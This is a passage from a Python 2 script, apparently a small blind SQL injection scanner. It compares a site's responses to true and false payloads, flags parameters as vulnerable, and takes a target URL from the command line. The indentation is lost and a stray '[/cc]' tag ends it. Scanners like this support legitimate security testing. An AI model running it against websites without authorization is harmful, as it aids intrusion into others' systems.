ratios = dict([(x, difflib.SequenceMatcher(None, original[TEXT], contents[x][TEXT]).quick_ratio()) for x in (True, False)])
vulnerable = ratios[True] > FUZZY_THRESHOLD and ratios[False] < FUZZY_THRESHOLD
if vulnerable:
print " (i) parameter '%s' appears to be blind SQLi vulnerable! (\"%s\")" % (match.group("parameter"), payloads[True])
retval = True
except KeyboardInterrupt:
print "\n (x) Ctrl-C was pressed"
return retval
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION, option_list=[optparse.make_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.htm?id=1\")")])
options, _ = parser.parse_args()
if options.url:
result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url)
print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no")
else:
parser.print_help()[/cc]
